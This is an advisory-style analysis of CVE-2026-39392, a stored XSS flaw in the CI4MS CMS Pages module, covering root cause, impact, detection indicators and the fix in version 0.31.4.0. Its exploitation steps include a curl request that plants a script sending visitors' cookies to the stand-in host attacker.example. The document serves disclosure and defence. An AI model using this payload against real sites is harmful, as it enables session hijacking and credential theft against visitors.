CVE-2026-39392: 
PHP vulnerability analysis and mitigation

CVE-2026-39392 is a stored Cross-Site Scripting (XSS) vulnerability in CI4MS, a CodeIgniter 4-based CMS skeleton, affecting all versions up to and including 0.31.3.0. The Pages module fails to apply the html_purify validation rule to content fields during create and update operations, allowing unsanitized content to be stored in the database and rendered as raw HTML on the public frontend. The vulnerability was published on April 7–8, 2026, and patched in version 0.31.4.0. It carries a CVSS v3.1 base score of 4.8 (Medium) per NVD, and 5.5 (Moderate) per the GitHub Advisory (GitHub Advisory, CI4MS Advisory).

The root cause (CWE-79) is an inconsistency between the Blog and Pages modules: the Blog module correctly applies html_purify (backed by the HTMLPurifier library) to content fields, while the Pages module uses only 'rules' => 'required' in both its create (Pages.php:82) and update (Pages.php:130) methods. Content is stored directly to the database without sanitization and then rendered via echo $pageInfo->content in app/Views/templates/default/pages.php:32 without any escaping — notably, the same template correctly escapes the title field using esc($pageInfo->title). Exploitation requires an authenticated admin session to POST a malicious payload to /backend/pages/create, after which any unauthenticated visitor loading the page triggers the injected script (CI4MS Advisory).

Successful exploitation allows an authenticated admin to persistently inject arbitrary JavaScript that executes in the browsers of all public visitors, crossing the security boundary (Scope: Changed). Concrete impacts include session hijacking (stealing visitor and admin cookies), credential theft via fake login forms or keyloggers, site defacement, and malware distribution through script redirects or external payload loading. In multi-admin environments, a lower-privileged admin with only page-editing rights could leverage this to compromise higher-privileged administrator sessions (CI4MS Advisory, GitHub Advisory).

A proof-of-concept exploit with step-by-step instructions (including a curl command with an inline script payload) is publicly available in the GitHub Security Advisory. The EPSS score is approximately 0.009–0.014% (2nd percentile), indicating low predicted exploitation probability in the near term. There is no evidence of active in-the-wild exploitation as of the time of publication, and the vulnerability is not listed in the CISA KEV catalog (GitHub Advisory, CI4MS Advisory).

1. Obtain admin credentials: Acquire valid admin-level credentials or a session cookie (ci_session) for the target CI4MS instance running version ≤ 0.31.3.0.
2. Craft the malicious payload: Prepare a JavaScript payload for cookie exfiltration, e.g., <script>document.location="https://attacker.example/?c="+document.cookie</script>, URL-encoded for form submission.
3. Inject payload via page creation: Send an authenticated POST request to /backend/pages/create with the XSS payload embedded in the lang[tr][content] field:

curl -X POST https://target/backend/pages/create \
  -b 'ci_session=ADMIN_SESSION_COOKIE' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d 'lang[tr][title]=Test+Page&lang[tr][seflink]=test-xss-page&lang[tr][content]=<script>document.location="https://attacker.example/?c="+document.cookie</script>&isActive=1'

4. Payload stored: The Pages controller stores the unsanitized content directly to the database without applying html_purify.
5. Trigger execution: Any unauthenticated visitor navigating to https://target/tr/test-xss-page will have the injected script execute in their browser, sending their session cookies to the attacker-controlled server (CI4MS Advisory).

• Network: Outbound HTTP requests from visitor browsers to unexpected external domains (e.g., attacker.example) with query parameters containing cookie values; unusual GET requests to attacker-controlled URLs originating from the site's public pages.
• Logs: Web server access logs showing POST requests to /backend/pages/create or /backend/pages/update containing <script> tags or encoded JavaScript in the request body; access log entries for the affected page URL followed by outbound requests to external hosts.
• Database: Page content records in the CMS database containing raw <script> tags, event handler attributes (e.g., onerror, onload), or JavaScript URIs in the content column of the pages table.
• File System: No direct file artifacts expected, as the payload is stored in the database rather than the filesystem (CI4MS Advisory).

Upgrade CI4MS to version 0.31.4.0 or later, which adds the html_purify validation rule to both the create and update methods in modules/Pages/Controllers/Pages.php. As a defense-in-depth measure, also escape content output in the view template using the esc() helper after HTMLPurifier processing. Additional interim mitigations include restricting page-editing privileges to fully trusted administrators, deploying a Web Application Firewall (WAF) to detect script injection attempts, implementing Content Security Policy (CSP) headers, and auditing existing page content in the database for any previously injected malicious scripts (GitHub Advisory, CI4MS Advisory).

The vulnerability was reported by researcher bertugfahriozer and published via the GitHub Security Advisory program on April 7, 2026. A Bluesky post referencing the CVE was noted shortly after disclosure, indicating some community awareness. No significant vendor statements beyond the advisory itself or notable media coverage have been identified (CI4MS Advisory).